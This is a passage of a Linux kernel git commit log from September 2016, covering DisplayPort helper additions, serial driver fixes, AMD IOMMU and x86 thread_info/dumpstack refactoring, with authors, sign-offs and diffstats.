Signed-off-by: Mika Kahola Reviewed-by: Jim Bride Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473419458-17080-9-git-send-email-mika.kahola@intel.com drivers/gpu/drm/i915/intel_dp.c | 20 ++++++++++++++++++++ include/drm/drm_dp_helper.h | 1 + 2 files changed, 21 insertions(+) commit 0e390a33a668f97ea3ffa7c6ceb4266e1b39450a Author: Mika Kahola Date: Fri Sep 9 14:10:53 2016 +0300 drm/i915: Read DP branch device HW revision HW revision is mandatory field for DisplayPort branch devices. This is defined in DPCD register field 0x509. v2: move drm_dp_ds_revision structure to be part of drm_dp_link structure (Daniel) v3: remove dependency to drm_dp_helper but instead parse DPCD and print HW revision info to dmesg (Ville) Reviewed-by: Jim Bride Signed-off-by: Mika Kahola Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473419458-17080-8-git-send-email-mika.kahola@intel.com drivers/gpu/drm/i915/intel_dp.c | 21 +++++++++++++++++++++ include/drm/drm_dp_helper.h | 1 + 2 files changed, 22 insertions(+) commit b633958587ddd47fd9fe3d0d34d51f769b51d77b Author: Mika Kahola Date: Fri Sep 9 14:10:52 2016 +0300 drm/i915: Cleanup DisplayPort AUX channel initialization Let's remove reference to "struct intel_connector *connector" in intel_dp_aux_init() function as it is no longer required. Reviewed-by: Jim Bride Signed-off-by: Mika Kahola Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473419458-17080-7-git-send-email-mika.kahola@intel.com drivers/gpu/drm/i915/intel_dp.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 266d783baaf5f34a5bea3b56489f091451a89767 Author: Mika Kahola Date: Fri Sep 9 14:10:51 2016 +0300 drm: Read DP branch device id Read DisplayPort branch device id string. Reviewed-by: Jim Bride Signed-off-by: Mika Kahola Acked-by: Dave Airlie Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473419458-17080-6-git-send-email-mika.kahola@intel.com drivers/gpu/drm/drm_dp_helper.c | 12 ++++++++++++ include/drm/drm_dp_helper.h | 2 ++ 2 files changed, 14 insertions(+) commit 7529d6af1cd16b0ecd286a1bf6ceee5328ab9809 Author: Mika Kahola Date: Fri Sep 9 14:10:50 2016 +0300 drm: Helper to read max bits per component Helper routine to read out maximum supported bits per component for DisplayPort legay converters. v2: Return early if detailed port cap info is not available. Replace if-else ladder with switch-case (Ville) Reviewed-by: Jim Bride Signed-off-by: Mika Kahola Acked-by: Dave Airlie Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473419458-17080-5-git-send-email-mika.kahola@intel.com drivers/gpu/drm/drm_dp_helper.c | 42 +++++++++++++++++++++++++++++++++++++++++ include/drm/drm_dp_helper.h | 2 ++ 2 files changed, 44 insertions(+) commit 1c29bd3d6011bed4cbae215571f6f4c25ab10012 Author: Mika Kahola Date: Fri Sep 9 14:10:49 2016 +0300 drm: Helper to read max clock rate Helper routine to read out maximum supported pixel rate for DisplayPort legay VGA converter or TMDS clock rate for other digital legacy converters. The helper returns clock rate in kHz. v2: Return early if detailed port cap info is not available. Replace if-else ladder with switch-case (Ville) Reviewed-by: Jim Bride Signed-off-by: Mika Kahola Acked-by: Dave Airlie Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473419458-17080-4-git-send-email-mika.kahola@intel.com drivers/gpu/drm/drm_dp_helper.c | 33 +++++++++++++++++++++++++++++++++ include/drm/drm_dp_helper.h | 2 ++ 2 files changed, 35 insertions(+) commit 8fedf080086a4884b0f0a20ba6abbeaeb960916e Author: Mika Kahola Date: Fri Sep 9 14:10:48 2016 +0300 drm: Drop VGA from bpc definitions Drop "VGA" from bits per component definitions as these are also used by other standards such as DVI, HDMI, DP++. Reviewed-by: Jim Bride Signed-off-by: Mika Kahola Acked-by: Dave Airlie Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473419458-17080-3-git-send-email-mika.kahola@intel.com include/drm/drm_dp_helper.h | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 69b1e00f23e0247105c77c4fd2f668ecc3a77a89 Author: Mika Kahola Date: Fri Sep 9 14:10:47 2016 +0300 drm: Add missing DP downstream port types Add missing DisplayPort downstream port types. The introduced new port types are DP++ and Wireless. Reviewed-by: Jim Bride Signed-off-by: Mika Kahola Acked-by: Dave Airlie Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473419458-17080-2-git-send-email-mika.kahola@intel.com include/drm/drm_dp_helper.h | 2 ++ 1 file changed, 2 insertions(+) commit cb9850d092f7d2c86662d71fbfe10685cbddda21 Merge: 8152263 b78ea84 Author: Kishon Vijay Abraham I Date: Thu Sep 15 15:46:11 2016 +0530 Merge branch 'next' into resolution Conflicts: drivers/extcon/extcon-adc-jack.c drivers/extcon/extcon-arizona.c drivers/extcon/extcon-gpio.c include/linux/extcon.h commit 6f3fff602e8179c74249a66046cf88767e1923b2 Author: Deepak M Date: Thu Sep 15 15:01:10 2016 +0530 drm/i915: Add ddb size field to device info structure Adding the ddb size into the devide info will avoid platform checks while computing wm. v2: Added comment and WARN_ON if ddb size is zero.(Jani) v3: Added WARN_ON at the right place.(Jani) Suggested-by: Ander Conselvan de Oliveira Signed-off-by: Deepak M Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473931870-7724-1-git-send-email-m.deepak@intel.com drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/i915_pci.c | 5 +++++ drivers/gpu/drm/i915/intel_pm.c | 13 ++----------- 3 files changed, 8 insertions(+), 11 deletions(-) commit d2ec3f77de8e67b7a3dab3ec827467e0fd797c86 Author: Kees Cook Date: Thu Sep 8 15:35:59 2016 -0700 pty: make ptmx file ops read-only after init The ptmx_fops structure is only changed during init, so mark it as such. Signed-off-by: Kees Cook Signed-off-by: Greg Kroah-Hartman drivers/tty/pty.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a727b025f43d7952c0697562f5cecda9f42758aa Author: Rob Herring Date: Fri Sep 9 17:37:02 2016 -0500 tty: serial_core: add tty NULL check to uart_tx_stopped Commit 761ed4a94582 ("tty: serial_core: convert uart_close to use tty_port_close") created a case where a port used for a console does not get shutdown on tty closing. Then a call to uart_tx_stopped() segfaults because the tty is NULL. This could be fixed to restore old behavior, but we also want to allow tty_ports to work without a tty attached. So this change to allow a NULL tty_struct is needed either way. Fixes: 761ed4a94582 ("tty: serial_core: convert uart_close to use tty_port_close") Reported-by: kernel test robot Signed-off-by: Rob Herring Signed-off-by: Greg Kroah-Hartman include/linux/serial_core.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e5e8960236dbff4b49eac1ec7f47b1c912531b62 Author: Fabien Lahoudere Date: Tue Sep 13 10:17:05 2016 +0200 serial: imx: Replace dmaengine old API dmaengine_terminate_all() is deprecated and should be replaced by dmaengine_terminate_sync() in non-atomic context or dmaengine_terminate_async() with dmaengine_synchronize(). See commit b36f09c3c441 ("dmaengine: Add transfer termination synchronization support") Signed-off-by: Fabien Lahoudere Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/imx.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit a5a2b13074fd8d290bad32a5b0a0c5be9f3a84fa Author: Andy Shevchenko Date: Tue Sep 13 00:23:42 2016 +0300 serial: core: fix potential NULL pointer dereference The commit 761ed4a94582 ("tty: serial_core: convert uart_close to use tty_port_close") refactored uart_close() to use tty_port_close(). At the same time it introduced a potential NULL pointer dereference. Rearrange the code to avoid kernel crash. Fixes: 761ed4a94582 ("tty: serial_core: convert uart_close to use tty_port_close") Cc: Rob Herring Signed-off-by: Andy Shevchenko Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/serial_core.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 0ae9fdefb6c37237d826d6195e27810ffcc0b6e0 Author: Richard Genoud Date: Mon Sep 12 15:34:41 2016 +0200 BUG: atmel_serial: Interrupts not disabled on close Since commit 18dfef9c7f87 ("serial: atmel: convert to irq handling provided mctrl-gpio"), interrupts from GPIOs are not disabled any more when the serial port is closed, leading to an oops when the one of the input pin is toggled (CTS/DSR/DCD/RNG). This is only the case if those pins are used as GPIOs, i.e. declared like that: usart1: serial@f8020000 { /* CTS and DTS will be handled by GPIO */ status = "okay"; rts-gpios = <&pioB 17 GPIO_ACTIVE_LOW>; cts-gpios = <&pioB 16 GPIO_ACTIVE_LOW>; dtr-gpios = <&pioB 14 GPIO_ACTIVE_LOW>; dsr-gpios = <&pioC 31 GPIO_ACTIVE_LOW>; rng-gpios = <&pioB 12 GPIO_ACTIVE_LOW>; dcd-gpios = <&pioB 15 GPIO_ACTIVE_LOW>; }; That's because modem interrupts used to be freed in atmel_shutdown(). After commit 18dfef9c7f87 ("serial: atmel: convert to irq handling provided mctrl-gpio"), this code was just removed. Calling atmel_disable_ms() disables the interrupts and everything works fine again. Tested on at91sam9g35-cm (This patch doesn't apply on -stable kernels, fixes for 4.4 and 4.7 will be sent after this one is applied.) Signed-off-by: Richard Genoud Fixes: 18dfef9c7f87 ("serial: atmel: convert to irq handling provided mctrl-gpio") Acked-by: Nicolas Ferre Acked-by: Uwe Kleine-König Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/atmel_serial.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 33ddca08bf9d68086e3e9ad6bef06ce881777894 Author: Wei Yongjun Date: Thu Sep 8 15:03:24 2016 +0000 tty: serial: fsl_lpuart: use GFP_ATOMIC under spin lock The function lpuart_start_rx_dma() is called from several places, in some of which, such as lpuart_startup(), a lock be held here, so we should use GFP_ATOMIC when a lock is held. Fixes: 5887ad43ee02 ("tty: serial: fsl_lpuart: Use cyclic DMA for Rx") Signed-off-by: Wei Yongjun Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/fsl_lpuart.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c164b008b62720fda072b55c378d32da3260f271 Author: Liu Xiang Date: Wed Sep 7 22:05:01 2016 +0800 serial: max310x: Set IRQF_TRIGGER_FALLING flag when dev.of_node is not NULL When dev.of_node is not NULL, we also need to set IRQF_TRIGGER_FALLING flag, otherwise it may cause uncertain interrupts. Signed-off-by: Liu Xiang Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/max310x.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5ee05309e7b394b4fe1ccc041f333ba0aa1caa50 Author: Johan Hovold Date: Wed Sep 14 14:17:41 2016 +0200 MAINTAINERS: add tree entry for USB Serial Add tree entry for USB Serial. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit 7a9347f947757f6c5ea432b299a8ba33ef7b78c7 Author: Dave Gordon Date: Mon Sep 12 21:19:37 2016 +0100 drm/i915/guc: general tidying up (submission) Renaming to more consistent scheme, and updating comments, mostly about i915_guc_wq_reserve(), aka i915_guc_wq_check_space(). Signed-off-by: Dave Gordon Link: http://patchwork.freedesktop.org/patch/msgid/1473711577-11454-4-git-send-email-david.s.gordon@intel.com Reviewed-by: Tvrtko Ursulin Signed-off-by: Chris Wilson drivers/gpu/drm/i915/i915_guc_submission.c | 63 +++++++++++++++--------------- drivers/gpu/drm/i915/intel_guc.h | 2 +- drivers/gpu/drm/i915/intel_lrc.c | 2 +- 3 files changed, 34 insertions(+), 33 deletions(-) commit 0c5664e41728b6d0b39de37a17940ee5cd8a1a64 Author: Dave Gordon Date: Mon Sep 12 21:19:36 2016 +0100 drm/i915/guc: general tidying up (loader) Renaming to more consistent scheme, delete unused definitions Signed-off-by: Dave Gordon Link: http://patchwork.freedesktop.org/patch/msgid/1473711577-11454-3-git-send-email-david.s.gordon@intel.com Reviewed-by: Tvrtko Ursulin Signed-off-by: Chris Wilson drivers/gpu/drm/i915/i915_guc_reg.h | 3 --- drivers/gpu/drm/i915/intel_guc_loader.c | 27 ++++++++++++++++----------- 2 files changed, 16 insertions(+), 14 deletions(-) commit b20e3cfe4b7dc62869a1f7e25d910a039c9aeb15 Author: Dave Gordon Date: Mon Sep 12 21:19:35 2016 +0100 drm/i915: clarify PMINTRMSK/pm_intr_keep usage No functional changes; just renaming a bit, tweaking a datatype, prettifying layout, and adding comments, in particular in the GuC setup code that touches this data. Signed-off-by: Dave Gordon Link: http://patchwork.freedesktop.org/patch/msgid/1473711577-11454-2-git-send-email-david.s.gordon@intel.com Reviewed-by: Tvrtko Ursulin Signed-off-by: Chris Wilson drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/i915_irq.c | 4 ++-- drivers/gpu/drm/i915/i915_reg.h | 2 +- drivers/gpu/drm/i915/intel_guc_loader.c | 27 +++++++++++++++++++++------ 4 files changed, 25 insertions(+), 9 deletions(-) commit b0876afdff45a4714e11f18ebbfb81762b417eac Author: Dave Gordon Date: Wed Sep 14 13:10:33 2016 +0100 drm/i915: Only expand COND once in wait_for() Commentary from Chris Wilson's original version: > I was looking at some wait_for() timeouts on a slow system, with lots of > debug enabled (KASAN, lockdep, mmio_debug). Thinking that we were > mishandling the timeout, I tried to ensure that we loop at least once > after first testing COND. However, the double test of COND either side > of the timeout check makes that unlikely. But we can do an equivalent > loop, that keeps the COND check after testing for timeout (required so > that we are not preempted between testing COND and then testing for a > timeout) without expanding COND twice. > > The advantage of only expanding COND once is a dramatic reduction in > code size: > > text data bss dec hex > 1308733 5184 1152 1315069 1410fd before > 1305341 5184 1152 1311677 1403bd after but it turned out that due to a missing iniitialiser, gcc had "gone wild trimming undefined code" :( This version acheives a rather more modest (but still worthwhile) gain of ~550 bytes. Signed-off-by: Dave Gordon Original-idea-by: Chris Wilson Cc: Chris Wilson Cc: Zanoni, Paulo R Link: http://patchwork.freedesktop.org/patch/msgid/1473855033-26980-1-git-send-email-david.s.gordon@intel.com Reviewed-by: Paulo Zanoni Signed-off-by: Chris Wilson drivers/gpu/drm/i915/intel_drv.h | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit 9b81a8ceea415808018ede67a09ab8c4963b584d Merge: aaf1edc 9d05b38 Author: Arnd Bergmann Date: Thu Sep 15 11:44:02 2016 +0200 Merge tag 'davinci-for-v4.9/dts' of git://git.kernel.org/pub/scm/linux/kernel/git/nsekhar/linux-davinci into next/dt Pull "DaVinci DA850 device-tree enhancements include" from Sekhar Nori: - Support for new board OMAP-L138 LCDK - Add AEMIF node on DA850 EVM and use it for NAND - Audio support for LCDK - Cleanups for PWM and UART * tag 'davinci-for-v4.9/dts' of git://git.kernel.org/pub/scm/linux/kernel/git/nsekhar/linux-davinci: ARM: dts: da850-lcdk: Audio support via simple-card ARM: dts: da850,da850-evm: Add an aemif node and use it for the NAND ARM: dts: da850: Add basic DTS for the LCDK ARM: dts: da850: Add missing pin muxing for the UARTs ARM: dts: da850: Add new ECAP and EPWM bindings commit 4bf5beef578e46393f11eb69dda7d17a065e05ff Author: Joerg Roedel Date: Wed Sep 14 11:41:59 2016 +0200 iommu/amd: Don't put completion-wait semaphore on stack The semaphore used by the AMD IOMMU to signal command completion lived on the stack until now, which was safe as the driver busy-waited on the semaphore with IRQs disabled, so the stack can't go away under the driver. But the recently introduced vmap-based stacks break this as the physical address of the semaphore can't be determinded easily anymore. The driver used the __pa() macro, but that only works in the direct-mapping. The result were Completion-Wait timeout errors seen by the IOMMU driver, breaking system boot. Since putting the semaphore on the stack is bad design anyway, move the semaphore into 'struct amd_iommu'. It is protected by the per-iommu lock and now in the direct mapping again. This fixes the Completion-Wait timeout errors and makes AMD IOMMU systems boot again with vmap-based stacks enabled. Reported-by: Borislav Petkov Signed-off-by: Joerg Roedel Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Signed-off-by: Ingo Molnar drivers/iommu/amd_iommu.c | 51 ++++++++++++++++++++++++++++------------- drivers/iommu/amd_iommu_types.h | 2 ++ 2 files changed, 37 insertions(+), 16 deletions(-) commit f21ca2c9999872da113a1fc70abb527129b72af3 Merge: 8152263 e74e837 Author: Greg Kroah-Hartman Date: Thu Sep 15 10:38:30 2016 +0200 Merge tag 'usb-ci-v4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/peter.chen/usb into usb-testing Peter writes: Most of them are refine patches, only new feature is disable io watchdog for chipidea platform. commit 3947f49302e4d1576ee58addd8d20b477faef5ea Author: Ingo Molnar Date: Thu Sep 15 08:56:21 2016 +0200 x86/vdso: Only define map_vdso_randomized() if CONFIG_X86_64 ... otherwise the compiler complains: arch/x86/entry/vdso/vma.c:252:12: warning: ‘map_vdso_randomized’ defined but not used [-Wunused-function] But the #ifdeffery here is getting pretty ugly, so move around vdso_addr() as well to cluster the dependencies a bit more. It's still not particulary pretty though ... Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: Dmitry Safonov Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: gorcunov@openvz.org Cc: linux-kernel@vger.kernel.org Cc: linux-mm@kvack.org Cc: oleg@redhat.com Cc: xemul@virtuozzo.com Signed-off-by: Ingo Molnar arch/x86/entry/vdso/vma.c | 98 +++++++++++++++++++++++------------------------ 1 file changed, 48 insertions(+), 50 deletions(-) commit 3e593f66754def77fa3433c595f941f1defe4af1 Author: David A. Long Date: Mon Sep 12 14:21:27 2016 -0400 arm64: Improve kprobes test for atomic sequence Kprobes searches backwards a finite number of instructions to determine if there is an attempt to probe a load/store exclusive sequence. It stops when it hits the maximum number of instructions or a load or store exclusive. However this means it can run up past the beginning of the function and start looking at literal constants. This has been shown to cause a false positive and blocks insertion of the probe. To fix this, further limit the backwards search to stop if it hits a symbol address from kallsyms. The presumption is that this is the entry point to this code (particularly for the common case of placing probes at the beginning of functions). This also improves efficiency by not searching code that is not part of the function. There may be some possibility that the label might not denote the entry path to the probed instruction but the likelihood seems low and this is just another example of how the kprobes user really needs to be careful about what they are doing. Acked-by: Masami Hiramatsu Signed-off-by: David A. Long Signed-off-by: Will Deacon arch/arm64/kernel/probes/decode-insn.c | 48 ++++++++++++++++------------------ 1 file changed, 23 insertions(+), 25 deletions(-) commit 91b7bd39e62e190700aa1398e451a6dfa6d24465 Author: Ingo Molnar Date: Thu Sep 15 08:42:51 2016 +0200 x86/vdso: Only define prctl_map_vdso() if CONFIG_CHECKPOINT_RESTORE ... otherwise the compiler complains: arch/x86/kernel/process_64.c:528:13: warning: ‘prctl_map_vdso’ defined but not used [-Wunused-function] Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: Dmitry Safonov Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: gorcunov@openvz.org Cc: linux-kernel@vger.kernel.org Cc: linux-mm@kvack.org Cc: oleg@redhat.com Cc: xemul@virtuozzo.com Signed-off-by: Ingo Molnar arch/x86/kernel/process_64.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 15f4eae70d365bba26854c90b6002aaabb18c8aa Author: Andy Lutomirski Date: Tue Sep 13 14:29:25 2016 -0700 x86: Move thread_info into task_struct Now that most of the thread_info users have been cleaned up, this is straightforward. Most of this code was written by Linus. Originally-from: Linus Torvalds Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jann Horn Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/a50eab40abeaec9cb9a9e3cbdeafd32190206654.1473801993.git.luto@kernel.org Signed-off-by: Ingo Molnar arch/x86/Kconfig | 1 + arch/x86/entry/entry_64.S | 7 ++++-- arch/x86/include/asm/thread_info.h | 46 -------------------------------------- arch/x86/kernel/asm-offsets.c | 4 +--- arch/x86/kernel/irq_64.c | 3 +-- arch/x86/kernel/process.c | 6 ++--- 6 files changed, 10 insertions(+), 57 deletions(-) commit c65eacbe290b8141554c71b2c94489e73ade8c8d Author: Andy Lutomirski Date: Tue Sep 13 14:29:24 2016 -0700 sched/core: Allow putting thread_info into task_struct If an arch opts in by setting CONFIG_THREAD_INFO_IN_TASK_STRUCT, then thread_info is defined as a single 'u32 flags' and is the first entry of task_struct. thread_info::task is removed (it serves no purpose if thread_info is embedded in task_struct), and thread_info::cpu gets its own slot in task_struct. This is heavily based on a patch written by Linus. Originally-from: Linus Torvalds Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jann Horn Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/a0898196f0476195ca02713691a5037a14f2aac5.1473801993.git.luto@kernel.org Signed-off-by: Ingo Molnar include/linux/init_task.h | 9 +++++++++ include/linux/sched.h | 36 ++++++++++++++++++++++++++++++++++-- include/linux/thread_info.h | 15 +++++++++++++++ init/Kconfig | 7 +++++++ init/init_task.c | 7 +++++-- kernel/sched/sched.h | 4 ++++ 6 files changed, 74 insertions(+), 4 deletions(-) commit d896fa20a70c9e596438728561e058a74ed3196b Author: Linus Torvalds Date: Tue Sep 13 14:29:23 2016 -0700 um/Stop conflating task_struct::stack with thread_info thread_info may move in the future, so use the accessors. [ Andy Lutomirski wrote this changelog message and changed "task_thread_info(child)->cpu" to "task_cpu(child)". ] Signed-off-by: Linus Torvalds Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jann Horn Cc: Josh Poimboeuf Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/3439705d9838940cc82733a7335fa8c654c37db8.1473801993.git.luto@kernel.org Signed-off-by: Ingo Molnar arch/x86/um/ptrace_32.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 97245d00585d82540f4538cf72d92a1e853c7b0e Author: Linus Torvalds Date: Tue Sep 13 14:29:22 2016 -0700 x86/entry: Get rid of pt_regs_to_thread_info() It was a nice optimization while it lasted, but thread_info is moving and this optimization will no longer work. Quoting Linus: Oh Gods, Andy. That pt_regs_to_thread_info() thing made me want to do unspeakable acts on a poor innocent wax figure that looked _exactly_ like you. [ Changelog written by Andy. ] Signed-off-by: Linus Torvalds Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jann Horn Cc: Josh Poimboeuf Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/6376aa81c68798cc81631673f52bd91a3e078944.1473801993.git.luto@kernel.org Signed-off-by: Ingo Molnar arch/x86/entry/common.c | 20 ++++++-------------- 1 file changed, 6 insertions(+), 14 deletions(-) commit b9d989c7218ac922185d82ad46f3e58b27a4bea9 Author: Andy Lutomirski Date: Tue Sep 13 14:29:21 2016 -0700 x86/asm: Move the thread_info::status field to thread_struct Because sched.h and thread_info.h are a tangled mess, I turned in_compat_syscall() into a macro. If we had current_thread_struct() or similar and we could use it from thread_info.h, then this would be a bit cleaner. Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jann Horn Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/ccc8a1b2f41f9c264a41f771bb4a6539a642ad72.1473801993.git.luto@kernel.org Signed-off-by: Ingo Molnar arch/x86/entry/common.c | 4 ++-- arch/x86/include/asm/processor.h | 12 ++++++++++++ arch/x86/include/asm/syscall.h | 20 +++++--------------- arch/x86/include/asm/thread_info.h | 23 ++++------------------- arch/x86/kernel/asm-offsets.c | 1 - arch/x86/kernel/fpu/init.c | 1 - arch/x86/kernel/process_64.c | 4 ++-- arch/x86/kernel/ptrace.c | 2 +- arch/x86/kernel/signal.c | 2 +- 9 files changed, 27 insertions(+), 42 deletions(-) commit d4b80afbba49e968623330f1336da8c724da8aad Merge: fcd709e 4cea877 Author: Ingo Molnar Date: Thu Sep 15 08:24:53 2016 +0200 Merge branch 'linus' into x86/asm, to pick up recent fixes Signed-off-by: Ingo Molnar commit fcd709ef20a9d83bdb7524d27cd6719dac8690a0 Author: Josh Poimboeuf Date: Wed Sep 14 21:07:44 2016 -0500 x86/dumpstack: Add recursion checking for all stacks in_exception_stack() has some recursion checking which makes sure the stack trace code never traverses a given exception stack more than once. This prevents an infinite loop if corruption somehow causes a stack's "next stack" pointer to point to itself (directly or indirectly). The recursion checking can be useful for other stacks in addition to the exception stack, so extend it to work for all stacks. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/95de5db4cfe111754845a5cef04e20630d01423f.1473905218.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/dumpstack_32.c | 22 +++++++++++++++++++--- arch/x86/kernel/dumpstack_64.c | 35 +++++++++++++++++++---------------- 2 files changed, 38 insertions(+), 19 deletions(-) commit 5fe599e02e41550c59831613a11c8ae057897c29 Author: Josh Poimboeuf Date: Wed Sep 14 21:07:43 2016 -0500 x86/dumpstack: Add support for unwinding empty IRQ stacks When an interrupt happens in entry code while running on a software IRQ stack, and the IRQ stack was empty, regs->sp will contain the stack end address (e.g., irq_stack_ptr). If the regs are passed to dump_trace(), get_stack_info() will report STACK_TYPE_UNKNOWN, causing dump_trace() to return prematurely without trying to go to the next stack. Update the bounds checking for software interrupt stacks so that the ending address is now considered part of the stack. This means that it's now possible for the 'walk_stack' callbacks -- print_context_stack() and print_context_stack_bp() -- to be called with an empty stack. But that's fine; they're already prepared to deal with that due to their on_stack() checks. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/5a5e5de92dcf11e8dc6b6e8e50ad7639d067830b.1473905218.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/dumpstack_32.c | 12 ++++++++++-- arch/x86/kernel/dumpstack_64.c | 6 +++++- 2 files changed, 15 insertions(+), 3 deletions(-) commit cb76c93982404273d746f3ccd5085b47689099a8 Author: Josh Poimboeuf Date: Wed Sep 14 21:07:42 2016 -0500 x86/dumpstack: Add get_stack_info() interface valid_stack_ptr() is buggy: it assumes that all stacks are of size THREAD_SIZE, which is not true for exception stacks. So the walk_stack() callbacks will need to know the location of the beginning of the stack as well as the end. Another issue is that in general the various features of a stack (type, size, next stack pointer, description string) are scattered around in various places throughout the stack dump code. Encapsulate all that information in a single place with a new stack_info struct and a get_stack_info() interface. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/8164dd0db96b7e6a279fa17ae5e6dc375eecb4a9.1473905218.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/events/core.c | 2 +- arch/x86/include/asm/stacktrace.h | 41 ++++++++- arch/x86/kernel/dumpstack.c | 40 +++++---- arch/x86/kernel/dumpstack_32.c | 106 ++++++++++++++++++------ arch/x86/kernel/dumpstack_64.c | 169 ++++++++++++++++++++------------------ arch/x86/kernel/stacktrace.c | 2 +- arch/x86/oprofile/backtrace.c | 2 +- 7 files changed, 234 insertions(+), 128 deletions(-) commit 9c00390757fd9f5851f7973b2f0e1e41550bb3b8 Author: Josh Poimboeuf Date: Wed Sep 14 21:07:41 2016 -0500 x86/dumpstack: Simplify in_exception_stack() in_exception_stack() does some bad, bad things just so the unwinder can print different values for different areas of the debug exception stack. There's no need to clarify where exactly on the stack it is. Just print "#DB" and be done with it. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/e91cb410169dd576678dd427c35efb716fd0cee1.1473905218.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/dumpstack_64.c | 89 ++++++++++++------------------------------ 1 file changed, 26 insertions(+), 63 deletions(-) commit 46e860f76804f86ac6062e9bb0d6dbea47f23899 Author: Takashi Sakamoto Date: Thu Sep 15 07:25:20 2016 +0900 ALSA: rename TLV-related macros so that they're friendly to user applications In a previous commit, some macros newly appeared to UAPI 